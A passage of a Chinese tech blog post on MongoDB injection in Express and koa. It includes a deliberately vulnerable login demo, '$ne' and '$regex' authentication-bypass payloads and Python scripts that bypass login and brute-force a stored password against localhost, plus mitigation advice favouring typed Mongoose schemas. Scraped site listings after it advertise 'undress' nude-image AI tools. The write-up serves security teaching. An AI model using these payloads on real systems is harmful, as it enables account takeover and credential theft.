Mongodb Injection in Node.js Web Framework
The difference between Express and koa Express 和 koa 都是 Node.js 的 Web 框架,相比较 Express,koa 使用了 generator 作为中间件,减少了大量的 callback,更加轻量一些。在对于不同的 HTTP Method,譬如 GET、POST 的数据的处理上,Express 的行为和
The difference between Express and koa
Express 和 koa 都是 Node.js 的 Web 框架,相比较 Express,koa 使用了 generator 作为中间件,减少了大量的 callback,更加轻量一些。在对于不同的 HTTP Method,譬如 GET、POST 的数据的处理上,Express 的行为和 koa 有一些差异。
GET
在对于 GET 的处理上,Express 和 koa 的一个显著的不同就是:
<code>test[1]=a&test[2]=b </code>
Expres 的 req.query
会把 test 处理成 Object:
<code>{ test: [ 'a', 'b' ] } </code>
koa 的 this.request.query
却不会:
<code>{ 'test[1]': 'a', 'test[2]': 'b' } </code>
在这种情况下,koa 可以避免在 QueryString 内的 Mongodb Injection。
POST
在 POST 中,当 Content-Type 为 application/x-www-form-urlencoded
时,Express和 koa 的行为也是不相同的,对于:
<code>test[a]=123&test[b]=456 </code>
Express 的 req.body
解析后的结果为:
<code>{ 'test[a]': '123', 'test[b]': '456' } </code>
koa co-body
处理后解析后的结果为:
<code>{ test: { a: '123', b: '456' } } </code>
当 Content-Type 为 multipart/form-data
时,对于:
<code>------WebKitFormBoundaryxUTB0WY8QmAfDBIp Content-Disposition: form-data; name="test[a]" 123 ------WebKitFormBoundaryxUTB0WY8QmAfDBIp Content-Disposition: form-data; name="test[b]" 456 ------WebKitFormBoundaryxUTB0WY8QmAfDBIp-- </code>
Express 利用 multiparty 解析的结果为:
<code>{ 'test[a]': [ '123', '456' ], 'test[b]': [ '789' ] } </code>
koa 如果用 multiparty 解析的话,结果相同。
最后,当 Content-Type 为 application/json
时,Express 和 koa 在结果上时相同的,对于:
<code>{"test1": 1, "test2": {"test": "hello"}} </code>
解析结果都为:
<code>{ test1: 1, test2: { test: 'hello' } } </code>
另外的 PUT、DELETE 等方法我们不做考虑。
其实这里引入一个 RESUful 的概念,现代 API 多是追求 RESTful 的 API 设计,对于 Web 和 App 有统一的一套接口,然后衍生出一系列所谓“前后端分离”的概念,也出现了许多 JavaScript 框架,AngularJS 就是这样的。AngularJS 和后端通信的方式就是上述 POST 中最后一种,直接 POST JSON 到后端,然后后端进行解析,所以说在这种解析的过程中就会出现一系列的问题,最主要的还是 Mongodb Injection。
Mongodb Injection in Express
这个其实是很常见的问题了,因为攻击威力小,而且开发者稍加注意就可以避免,所以 Mongodb Injection 一直就是不温不火。
对于 Mongodb 的注入,目前可以做到的事 Authenticate Bypass,以及 Blind Injection。比较鸡肋的是 Blind Injection 只能对已知字段进行注入。
我用 Node.js + Mongodb 写了一个简单的登陆系统,当然是有漏洞的,主要是来研究一下漏洞的成因,以及如何避免。
项目地址:https://github.com/RicterZ/simpleLogin
Bypass Login Directly in Express
/controllers/user.js
<code>LoginHandler.login = function (request, response) { var user = new User({ username: request.body.username, password: request.body.password }); user.login(function (err, user) { if (err) { response.status(500).json({message: err.toString()}) return; }; if (!user) { response.status(401).json({message: 'Login Fail'}); return; }; response.status(200).json({user: 'Hello ' + user.username}); }); }; </code>
此处我们将用户传入的 password 直接带入 User 的 Model,进而调用 login 方法。
/model/users.js
<code>User.prototype.login = function (callback) { var _user = { username: this.username, password: this.password }; db.open(function (err, db) { if (err) return callback(err); db.collection('users', function (err, collection) { if (err) { db.close(); return callback(err); }; collection.findOne(_user, function (err, user) { // Injection // do stuff }); }); }); } </code>
由于此处我们提交的数据为:
<code>{"username": "test", "password": {"$ne": 1} </code>
Express 处理后变成一个 JSON Condition 然后进入 Mongodb 的查询中,所以我们可以直接 Bypass 验证,进入 test 的账户。
Login Blind Injection in Express
/controller/user.js
<code>LoginHandler.login2 = function (request, response) { var user = new User({ username: request.body.username, password: request.body.password }); user.login(function (err, user) { if (err) { response.status(500).json({message: err.toString()}) return; }; if (!user) { response.status(401).json({message: 'User not exist'}); return; }; if (user.password === request.body.password) { response.status(200).json({user: 'Hello ' + user.username}); } else { response.status(401).json({message: 'Password is not correct'}); }; }); }; </code>
此处和上面不同的是我们验证了密码,如果未获取到用户则显示 User not exist,如果密码和数据库里储存的密码不同则显示 Password is not correct。利用此处的差异我们可以 Blind Injection 出数据库储存的密码为多少。
利用 Mongodb 里的正则表达式:
<code>{"username": "test", "password": {"$regex": "^1"}} </code>
如果开头的字母为 1,则显示 Password is not correct,如果不为 1,则显示 User not exist。第一位猜测完毕后继续猜解第二位:
<code>{"username": "test", "password": {"$regex": "^11"}} </code>
重复上述步骤直至猜解结束。
Exploit
0x01
Code:
<code>import urllib2 request = urllib2.Request('http://localhost:3000/login', '{"username": "ricter", "password": {"$ne": 1}}', headers={"Content-Type": "application/json"}) print urllib2.urlopen(request).read() </code>
Result:
0x02
Code:
<code>import sys import urllib2 def req(url, data): try: request = urllib2.Request(url, data, headers={'Content-Type': 'application/json'}) return urllib2.urlopen(request).read() except urllib2.HTTPError, e: return e.read() url = 'http://localhost:3000/login2' FLAG_USER_NOT_EXIST = 'User not exist' FLAG_PASSWORD_INCORRECT = 'Password is not correct' chars = '9876503412' payload = '{"username": "ricter","password": {"$regex": "^%s"}}' password = '' while 1: for i in chars: resp = req(url, payload % (password + i)) if FLAG_PASSWORD_INCORRECT in resp: password += i print password break elif FLAG_USER_NOT_EXIST in resp: pass if i == chars[-1]: print password sys.exit(0) </code>
Result:
Express with Mongoose
常见的 Node.js 的 Web 应用中,还有一种常见的搭配就是利用 Mongoose 来进行数据的 CRUD。
具体代码参见 simpleLogin 的 mongoose 分支。
使用 Mongoose 我们可以定义每个 document 的 field 的数据类型:
<code>var _User = new db.Schema({ username: String, password: String, apikey: String }); </code>
这样的话,我们传入:
<code>{"username": "ricter","password": {"$ne": 1}} </code>
实际上查询的时候会被转变成:
<code>{ username: 'ricter', password: undefined } </code>
所以不会造成 Mongodb Injection。
At the end
Node.js 的 Webapp,我本人比较倾向于 koa+mongoose,可以避免一些 Mongodb 的注入的问题,以及代码看起来更为优雅一些。
当然,\Python 大法好/
原文地址:Mongodb Injection in Node.js Web Framework, 感谢原作者分享。

ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

AI Hentai Generator
AIヘンタイを無料で生成します。

人気の記事

ホットツール

メモ帳++7.3.1
使いやすく無料のコードエディター

SublimeText3 中国語版
中国語版、とても使いやすい

ゼンドスタジオ 13.0.1
強力な PHP 統合開発環境

ドリームウィーバー CS6
ビジュアル Web 開発ツール

SublimeText3 Mac版
神レベルのコード編集ソフト(SublimeText3)

ホットトピック











最新の機能と改善が提供される MongoDB の最新バージョン (現在 5.0) を使用することをお勧めします。バージョンを選択するときは、機能要件、互換性、安定性、コミュニティ サポートを考慮する必要があります。たとえば、最新バージョンにはトランザクションや集計パイプラインの最適化などの機能が備わっています。バージョンがアプリケーションと互換性があることを確認してください。運用環境の場合は、長期サポート バージョンを選択してください。最新バージョンでは、より積極的なコミュニティサポートが提供されています。

Node.js はサーバー側の JavaScript ランタイムであり、Vue.js は対話型ユーザー インターフェイスを作成するためのクライアント側の JavaScript フレームワークです。 Node.js はバックエンド サービス API 開発やデータ処理などのサーバー側開発に使用され、Vue.js はシングルページ アプリケーションや応答性の高いユーザー インターフェイスなどのクライアント側開発に使用されます。

MongoDB データベースのデータは、ローカル ファイル システム、ネットワーク ファイル システム、またはクラウド ストレージに配置できる指定されたデータ ディレクトリに保存されます。具体的な場所は次のとおりです: ローカル ファイル システム: デフォルトのパスは Linux/macOS: /data/db、Windows: C:\data\db。ネットワーク ファイル システム: パスはファイル システムによって異なります。クラウド ストレージ: パスはクラウド ストレージ プロバイダーによって決定されます。

MongoDB データベースは、その柔軟性、スケーラビリティ、および高いパフォーマンスで知られています。その利点には、データを柔軟かつ非構造化された方法で保存できるドキュメント データ モデルが含まれます。シャーディングによる複数サーバーへの水平スケーラビリティ。クエリの柔軟性により、複雑なクエリと集計操作をサポートします。データ レプリケーションとフォールト トレランスにより、データの冗長性と高可用性が確保されます。 JSON サポートにより、フロントエンド アプリケーションと簡単に統合できます。大量のデータを処理する場合でも高速な応答を実現する高いパフォーマンス。オープンソースでカスタマイズ可能で無料で使用できます。

MongoDB は、大量の構造化データと非構造化データを保存および管理するために使用されるドキュメント指向の分散データベース システムです。その中心的な概念にはドキュメントのストレージと配布が含まれ、その主な機能には動的スキーマ、インデックス作成、集約、マップリデュース、レプリケーションが含まれます。コンテンツ管理システム、電子商取引プラットフォーム、ソーシャル メディア Web サイト、IoT アプリケーション、モバイル アプリケーション開発で広く使用されています。

MongoDB データベース ファイルは、MongoDB データ ディレクトリにあります。デフォルトでは /data/db です。このディレクトリには、.bson (ドキュメント データ)、ns (コレクション情報)、journal (書き込み操作レコード)、wiredTiger (WiredTiger 使用時のデータ) が含まれています。ストレージ エンジン ) および config (データベース構成情報) およびその他のファイル。

Cockpit は、Linux サーバー用の Web ベースのグラフィカル インターフェイスです。これは主に、初心者/熟練ユーザーにとって Linux サーバーの管理を容易にすることを目的としています。この記事では、Cockpit アクセス モードと、CockpitWebUI から Cockpit への管理アクセスを切り替える方法について説明します。コンテンツ トピック: コックピット エントリ モード 現在のコックピット アクセス モードの確認 CockpitWebUI からコックピットへの管理アクセスを有効にする CockpitWebUI からコックピットへの管理アクセスを無効にする まとめ コックピット エントリ モード コックピットには 2 つのアクセス モードがあります。 制限付きアクセス: これは、コックピット アクセス モードのデフォルトです。このアクセス モードでは、コックピットから Web ユーザーにアクセスできません。

Linux/macOS の場合: データ ディレクトリを作成し、「mongod」サービスを開始します。 Windows の場合: データ ディレクトリを作成し、Service Manager から MongoDB サービスを開始します。 Docker の場合: 「docker run」コマンドを実行します。他のプラットフォームの場合: MongoDB のドキュメントを参照してください。確認方法: 「mongo」コマンドを実行して接続し、サーバーのバージョンを確認します。
